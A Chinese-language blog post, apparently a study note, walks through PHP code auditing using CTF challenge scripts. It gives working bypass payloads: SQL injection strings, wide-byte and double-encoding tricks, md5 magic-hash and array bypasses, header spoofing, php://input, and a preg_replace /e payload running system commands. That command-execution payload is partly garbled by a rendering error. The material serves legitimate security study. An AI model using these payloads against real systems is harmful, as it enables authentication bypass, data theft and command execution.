PHP代码审计

审计思路

web安全重点就三个词——“输入”,“输出”,“数据流”。

1、逆向追踪/回溯变量—检查敏感函数的参数,判断参数可控?是否有过滤?

                                  搜索响应的敏感关键字,定向挖掘,高效、高质量

2、正向追踪/跟踪变量—找到哪些文件在接收外部传入的参数,跟踪变量的传递过程,观察是否有高危函数

3、直接挖掘功能点漏洞—根据自身经验判断

4、通读全文—index文件,了解程序架构

                  函数集文件,通常名为functions,common 等

                  配置文件,config

                  安全过滤文件,filter safe,check

sql注入

注入方式

1. 普通注入

概述

普通注入分为字符型注入和数值型注入

数据库操作
select from
mysql_connect
mysql_query
mysql_fetch_row
数据库查询
update
insert
delete

2. 宽字节注入

概述

1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符:单引号('),双引号("),反斜杠(\),NULL
3、 示例

<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
运行结果:
aiyou\"bu\"cuoo
绕过方法

我们可以在输入的时候对于特殊符号引号,斜杠,反斜杠这些在他前面加%df使得让他和“\”这个符号在数据库中进行组合编译,编译成一个汉字,以至于绕过宽字节。

select * from user where id='1運' and 1=1#'

这个代码就是宽字节绕过之后数据库查询的代码

3. 编码注入

概述

通过输入转码函数不兼容的特殊字符,可以导致输出的字符编程有害数据。最常见的编码注入就是Mysql宽字节以及urldecode/rawurldecode。urldecode是一个转码函数,rawurldecode是一个解码函数。

urlCode二次编码分析

还是先上源码

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

这里我们要了解一点课外知识了

eregi — 不区分大小写的正则表达式匹配

我们需要绕过第一个判断,也就是id的值不等于hackerDJ,但是第二个判断有需要id的值等于它。所以这个肯定是有漏洞的。在这一行进行了url编码的解码

$_GET[id] = urldecode($_GET[id]);

所以我们要进行二次编码,将hackerDJ值进行编码,然后绕过第一个匹配到第二个。

hackerDJ的url编码:%68%61%63%6b%65%72%44%4a
hackerDJ的二次编码为:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

payload:?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

结果
在这里插入图片描述

靶场分析

函数绕过

extract方法变量覆盖。

<?php

$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=file_get_contents($flag);
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

?>

可以看到漏洞点就在我标注的那两个地方。
在这里插入图片描述
第一个GET值没有说明传递的具体值,所以我们可以都可以传递这个文件里的所有值。
第二个content的值就是传递的flag文件内容。

因为这里判断了content参数和shiyan这个参数相等则会获取到flag值
在这里插入图片描述
所以我们只需要构造flag参数的文件内容和shiyan参数的值相同就可以。但是flag值已经给了。我们又可以利用extract函数将flag参数值给覆盖掉。
但是我们不知道文件里面的内容。所以我们可以利用file_get_contents函数的漏洞,当文件不存在则会返回空值。
所以我们构造payload

payload:?shiyan=&flag=

在这里插入图片描述

ereg正则%00绕过(科学计数法)

还是先分析源代码吧

<?php 

$flag = "flag";

if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>'); 
       }
      }
     else 
     {
        echo '<p>Invalid password</p>'; 
      }
   } 
?>

先分析这三个判断吧。

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }

这个判断就是说只能以a-z,A-Z,0-9开头并结尾。
这个随便输入数字字母都能绕过
在这里插入图片描述

然后这个判断判断的是长度小于8,然后数值要大于9999999

else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {

这题我们只能利用科学计数法绕过
payload:12e12
在这里插入图片描述

if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置

这个判断我们需要借用0x00截断进行攻击了。
将后面的特殊符号给截断。
payload:1e9%00*-*
在这里插入图片描述

ereg正则%00绕过(strpos函数)

<?php

$flag = "flag";

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

这段代码也没啥说的,他必须是数字,但是他又要包含字符串。所以第一印象应该采用%00进行截断。
在这里插入图片描述
但是还是没有绕过第二个判断,必须包含字符串。所以尝试将#号修改为%23。
成功
在这里插入图片描述
这题应该关键点是考的是oxoo截断吧。

字符型绕过orSQL注入绕过

绕过过滤的空白字符

<?php
 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}

这段代码的意思是传递需要一个number值,他会判断如果number值不存在则在网页的头部添加hint请求头之后退出。

foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 

这段代码就是将传递过来的number值和POST传递过来的值进行组合,将他们组合成数组。然后遍历这个数组,去掉value值空字符和其他字符。
然后将value值添加到前面创建的列表中。

function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 

这段代码虽然他写了一个循环,但是只运行了一次。就是判断number这个字符串的首尾相不相同,如果相同则返回true,否则就返回false。

if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it's integer!! ";  
 
}

这段代码就是判断输入的number值是否为数字。

else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

定义两个变量,一个正向取number值,一个逆向取number值。然后判断首尾是否相同。下面在判断输入的number值是否为数字,如果是则将他是数字这个字符串传递给info。反之则将flag值传递给info然后输出。

所以我们要构造number值为字符串,但是又要绕过前面的判断他首尾相同。所以我们构造一个首尾相同并且又是字符串的数值,还要等于它本身。

payload=?number=%00%2B121

因为他判断了进行了四次判断。我们都要绕过。

1. is_numeric($_REQUEST['number']		      ## 判断是否为数字
2. $req['number']!=strval(intval($req['number']))			##判断req列表中的number的字符串是否和取出的数值转换后的字符串相等
3. intval($req["number"]) == intval(strrev($req["number"]))		##判断首尾是否相同
4. is_palindrome_number($req["number"]		##这个函数也是否首尾相同

第一个我们要绕过他让他变为假。所以我们可以使用0x00进行截断。
第二个我们可以不用绕过
第三个与第二个一样把他转换成为数值型比较。也不用绕过
第四个比较首尾相不相同,我们要绕过他使他不相同,我们在他数值前面或者后面添加%2B也就是“+”号,让他绕过。
在这里插入图片描述

sql注入绕过

直接上源代码

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){

//检测变量是否是数组

        $StrValue=implode($StrValue);

//返回由数组元素组合成的字符串

    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   

//匹配成功一次后就会停止匹配

        print "水可载舟,亦可赛艇!";
        exit();
    }
}

在这里插入图片描述
这个函数定义的是将传递过去的post参数变为一个字符串

在这里插入图片描述
上面代码又将post传输过去的字符串进行过滤将一些关键字等特殊符号进行过滤掉。

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);

//设置活动的 MySQL 数据库

这段代码毫无作用,可以将他注释掉。

if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}

这段代码就是当查询到的记录和Post表单传递过去的参数相同就输出flag。反之则退出。
所以说关键点在输入的用户名和密码这里,。
在这里插入图片描述
我们可以绕过这里进行注入,由源代码可以看到是单引号注入。
但是因为他过滤了很多条件。

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

所以我们不能注入,但是我们可以构造查询语句绕过下面的判断。
在这里插入图片描述
我们可以在uname上构造:1’ group by password with roolup limit 1 offset 1
让他的结果查询的password的结果为空,。
完整代码演示。
输入1就会查询用户名为1的记录
在这里插入图片描述
现在来补充一点小知识

limit 1		表示取一条记录
limit 1,2	表示从第二条开始取两个
offset 1	表示从第二条记录开始

现在回归正题,我们可以构建上面的代码,让他的password给替换成为空,这样我们就拿到了他的flag值。
在这里插入图片描述

这题也可以构建**1’ group by password with limit 1,1 – **。

MD5SQL注入绕过

先上源代码

<?php

//配置数据库
// if($_POST[user] && $_POST[pass]) {
//     $conn = mysql_connect("********, "*****", "********");
//     mysql_select_db("phpformysql") or die("Could not select database");
//     if ($conn->connect_error) {
//         die("Connection failed: " . mysql_error($conn));
// } 

//赋值

$user = $_GET[user];
$pass = md5($_GET[pass]);

//sql语句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";
// $query = mysql_query($sql);
// if (!$query) {
//     printf("Error: %s\n", mysql_error($conn));
//     exit();
// }
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");

  }
//}
?>

别看源代码如此之多,其实就几条关键语句

<?php

$user = $_GET[user];
$pass = md5($_GET[pass]);

$sql = "select pw from php where user='$user'";// $query = mysql_query($sql);
$row = mysql_fetch_array($query, MYSQL_ASSOC);

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }

?>

就这几段代码有用,我们先分析吧。
看道源代码发现了一个sql单引号字符注入漏洞。
然后看到输入的pass经过了md5加密。
我们看到这下面这一段代码,既要让sql中查询到内容还要让pass和pw也就是数据库查询的值相等,所以我们要构造sql注入md5值进行绕过,使得pw有值才能获取到flag值。

 if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

所以我们可以利用md5进行加密与构造的pass值相同。
在这里插入图片描述
然后我们构造payload

payload:?user=1' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

在这里插入图片描述
所以这里关键点是构造的sql函数,只要函数构造对了就能成功。

SQL闭合绕过

<?php

$user = $_GET[user];
$pass = md5($_GET[pass]);


$sql = "select user from php where (user='$user') and (pw='$pass')";

$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  if($row['user']=="admin") {
    echo "<p>Logged in! Key: *********** </p>";
  }

  if($row['user'] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}

?>

这个都看了无数遍了,没多少难的,一眼就看到了sql注入漏洞。多参数单引号右括号闭合。

$sql = "select user from php where (user='$user') and (pw='$pass')";

因为这里只是对user进行了判断是否为admin,没有对pass这个进行判断,所以我们可以在user哪里进行sql注入,不用管pass字段的值直接在构造的sql注入后面进行注释。

payload:?user=admin') union select 'admin' #&pass=')#

在这里插入图片描述

然后一直报错,甚至我输出他的user和pass值都有
在这里插入图片描述

最后查看源码才恍然大悟,是我根本没有这个数据库里面的表,傻了!!!
在这里插入图片描述
这个表没有肯定查询出来的结果也没有。所以Row值是空的,所以flag值出现不了。

SQL注入or绕过

源代码

<?php

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。 
    }
    return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

?>

上面代码其实clear基本没用,有用的是下面的代码。

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

这段代码说的是查询有结果,则返回flag值。

payload:?user=admin' or 1=1 #

在这里插入图片描述
在这一题一直尝试,结果发现我没有那个数据库。

md5函数true绕过注入

<?php 
$link = mysql_connect('127.0.0.1:3306', 'root', 'root');
if (!$link) { 
  die('Could not connect to MySQL: ' . mysql_error()); 
} 
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

这段代码太长了,还是看关键的。

$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";

就这一段,因为你要绕过他,使他有答案,所以我们只能看答案了。
死记硬背吧。
在这里插入图片描述
因为“ffifdyop”的十六位二进制数加密之后是'or'6刚好绕过sql注入。所以答flag就直接出来了。
在这里插入图片描述
这题没有任何捷径,只能死记硬背ffifdyop

加密绕过

文件加密

在这里插入图片描述

开始打开网页以为服务器崩了。一直不显示正确的网页,后面看到源码才发现自己还是太年轻了。
最重要的代码在下方。

 if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

在这里插入图片描述
一进去就判断token值,如果他存在则执行下面操作。不存在就重定向到报错页面。搞得我以为服务器炸了。

在看if语句里的关键内容吧。

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

这段代码就是将token值进行base64编码,编码之后让他进行压缩,更气的是压缩之后还要序列化它。

if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }

这里判断login数组的user值为ichunqiu,也就是上面token值压缩之后的值为ichunqiu。
所以我们要先将token值进行反序列化和解压缩。也就是构造ichunqiu。
在这里插入图片描述
将反序列化的结果通过token值传递给php页面。发现一直报错。然后修改源代码查看user的值发现只有一个i。
在这里插入图片描述
最后发现压缩的时候将token值压缩成了一个数组,所以我们构造数组token,也就是创建一个数组,值为ichunqiu就行。
在这里插入图片描述
然后以为成功的时候结果啥都不打印,搞得有点抓耳挠腮了。
在这里插入图片描述
后面查看源代码发现就只将flag值传递给了info。flag值都没有定义。
在这里插入图片描述
去修改源代码,将flag值添加上去。
在这里插入图片描述
后面就成功了,所以说这题不止要修改代码,还要构建代码。

MD5相似绕过

先上源代码

<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

?>

上面函数说明,先将字符串进行md5加密,然后让传递一个参数,他不能等于这个字符串,但是要让他们的md5值相同。
所以我们要进行绕过。
==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
所以我们只需要构建前面两个md5值为0e开头就行了。

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

md5('240610708'); // 0e462097431906509019562988736854 
md5('QNKCDZO'); // 0e830400451993494058024219903391 

结果
在这里插入图片描述

密码MD5比较绕过

<?php

if($_GET[user] && $_GET[pass]) {
  //  mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  // mysql_select_db(SAE_MYSQL_DB);
  $user = $_GET[user];
  $pass = md5($_GET[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));

  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

    //strcasecmp:0 - 如果两个字符串相等

      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}

?>

这一题又是数据库,所以只能看出大概。他判断的是查询的值必须有然后他与输入的值转换成为md5后结果相同,所以我们可以将查询哪里闭合掉,构建一个md5值。进行绕过
payload:?user=’ union select ‘e10adc3949ba59abbe56e057f20f883e’ – k&pass=123456
在这里插入图片描述
因为没有连接数据库所以他只能报错。

18 md5()函数===使用数组绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

这题有三个判断。

if (isset($_GET['username']) and isset($_GET['password']))
if ($_GET['username'] == $_GET['password'])
else if (md5($_GET['username']) === md5($_GET['password']))

第一个判断是username和password不为空
第二个判断是username和password要绕过使他不相同
第三个判断是他们的md5值相同。

因为md5函数的特性是如果传递的不是字符串则返回NULL
所以我们可以构建数组,使他绕过。
payload:?username[]=1&password[]=2.
在这里插入图片描述

十六进制的比较

<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

下面代码表示循环遍历temp的值,也就是输入的值,将值转化为ascii码传递给digit。

 for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});

然后比较不能输入1,-9的数字,所以我们要绕过这里。

if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }

但是下面有必须让输入的值与它定义的值相等。

if($number == $temp)
        return $flag;
}

所以我们可以利用十六进制数进行与十进制比较,因为同一个十六进制数与十进制数比较结果相等。
我们用函数将定义的number值用十六进制输出出来。

函数代码: echo dechex(3735929054);

在这里插入图片描述
然后将输出的十六进制数传递给password。
payload:?password=0xdeadc0de

在这里插入图片描述

ereg_replace的\e参数漏洞

上源码:

<?php $id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
foreach ($_GET as $re => $str) {
    echo complex($re, $str) . "\n";
}
function getFlag() {
    @eval($_GET['cmd']);
};

这个案例实际上很简单,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,那这样要如何执行代码呢?

所以我们构造的payload为GET参数一个\S值为${phpinfo()}
这个payload的意思就是执行phpinfo这个指令。\S
就是所有空字符。
因为需要获取flage值,我们需要传递利用getFlag函数里面的命令执行漏洞进行注入。但是原函数又没有执行这个函数,所有我们需要构造payload进行执行这个函数。
payload

?\S*=KaTeX parse error: Expected 'EOF', got '&' at position 12: {getFlag()}&̲cmd=system("ls …{getFlag()}&cmd=system(cat /flag");

危险函数示例

strcmp危险函数

还是分析源码

<?php
$flag = "flag";
if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 

    //比较两个字符串(区分大小写) 
        die('Flag: '.$flag);  
    else  
        print 'No';  
}

?>

这题没啥分析的,看到strcmp函数就可以构造了。
还是先了解一下strcmp是个啥吧。

一般形式:strcmp(字符串1,字符串2)
说明:
当s1<s2时,返回为负数 注意不是-1
当s1==s2时,返回值= 0
当s1>s2时,返回正数 注意不是1
即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止。如:
“A”<“B” “a”>“A” “computer”>“compare”
特别注意:strcmp(const char *s1,const char * s2)这里面只能比较字符串,不能比较数字等其他形式的参数。

所以说只要构造参数他不为字符串到时候就会报错,他的返回值就是0
所以我们可以构建a的参数为数组。

payload:?a[]=1

在这里插入图片描述

sha()危险函数

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

这一题也不用分析了,因为他第一个判断需要name和password的值
所以第一个很好绕过。
第二个绕过直接用sha函数的漏洞,他不能对数组进行一系列操作,所以我们可以利用数组。
payload:?name[]=it&password[]=1
在这里插入图片描述

intval取整函数绕过

完整代码

<?php

if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}

?>

上面一堆代码看不懂,然后看到下面判断,和intval取整函数就知道怎么绕过了。
起初还以为是sql注入绕过。后面发现可以直接使用intval这个取整危险函数绕过就行。
intval:这个函数时取整函数,遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换。

所以这里,直接输入一个小数,让他绕过下面没有取整的判断。

payload=?id=1024.1

在这里插入图片描述
上面的报错只是因为我没有那个数据库,然后连接失败这些。整体来说还是正确的。

19 ereg()函数strpos() 函数用数组返回NULL绕过

<?php  

$flag = "flag";  
   
if (isset ($_GET['password'])) {  
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
        echo 'You password must be alphanumeric';  
    else if (strpos ($_GET['password'], '--') !== FALSE)  
        die('Flag: ' . $flag);  
    else  
        echo 'Invalid password';  
}  
?>

这题之前做过类似的,可以使用%00截断。
payload :?password=lj%00–
在这里插入图片描述

弱类型整数大小比较绕过(is_numeric)

<?php

error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
} 

?>

这个是危险函数的实例

is_numeric的特性:
当数字加字符串的时候会直接取数字,忽略掉字符。

所以我们只需要构造大于1336的数加上一个字符串就OK了。
payload:?password=1337b
在这里插入图片描述

md5函数验证绕过

<?php

error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}

?>

这题直接利用md5函数的危险性,传递一个空数组就过去了。
在这里插入图片描述

头部验证绕过

session验证绕过

<?php

$flag = "flag";

session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

这段代码其实就一句关键代码
在这里插入图片描述
只需要绕过这个password就行,因为password在未登录的情况下他的session值为空,我们只要上传password的值为空就可以绕过。
payload:?password=
在这里插入图片描述

X_FORWARDED_FOR头部绕过

还是先看源代码吧

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
echo $GetIPs;
}
?>

这段代码很简单,就是要修改自己的ip,让他绕过,所以我们可以一个个地试。
先尝试用burp进行抓包。将抓到的包发送到repeater模块。

在这里插入图片描述
然后利用里面的判断进行尝试,尝试修改自己的ip地址为1.1.1.1
ps:这里有坑,这应该是横线,而不是下划线。
在这里插入图片描述
在这里插入图片描述
先来个总结吧,修改ip地址的头部参数

Client-ip:	客户端ip
x-forward-forXFFHTTP请求端真实的IP
remote-addr:

前两个可以进行伪造,最后一个虽然可以伪造但是实现有点困难。

其他

php://input和substr绕过。

这题太难了。上源代码。

<?php
if(!$_GET['id']) {
	header('Location:
  index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];

if(stripos($a,'.')){
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
	echo "flag is me";
} else {
	echo $data;
	print "work harder!harder!harder!";
}
?>
``
先分析吧。首先我们要先绕过下面的判断

```php
if(!$_GET['id']) {
	header('Location:
  index.php?id=1');
	exit();
}

这个判断号绕过,在数字后面加一个字母
payload:?id=1a
最难的是下面的判断。

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
	echo "flag is me";
} 

这段贼难,还是先补充一下其他的知识吧。

eregi(pattern,string)	这个是正则匹配的函数,第一个参数是正则匹配的参数,第二个参数是在那里面匹配。
例如:eregi("111","1114")1114里面匹配111

substr(str,str.list,length):截取字符串的函数,第一个参数是需要截取的字符串,第二个参数是从第几个下标开始截,第三个参数是截几个。
例如:substr("flag is me",0,4):从第一个开始截取4个字符。就是flag

函数明白了在去尝试吧。试了很多次,就不依依截下来了,就发成功答案吧。
payload:?id=0a&a=1.txt&b=%0011111
在这里插入图片描述
那三个判断成功之后结果他还是判断失败,在来找一下错误发现data里面的内容是空的。这下又没有办法了。又继续尝试。
下面又得补充知识了

php://input 是个可以访问请求的原始数据的只读流。 
POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 
而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 
enctype="multipart/form-data" 的时候 php://input 是无效的。

所以我们将a的参数修改,利用bp进行抓包,将上传方法改为post,添加要上传的参数。
payload:?id=0a&a=php://input&b=%0011111
在这里插入图片描述
在这里插入图片描述

评论
添加红包

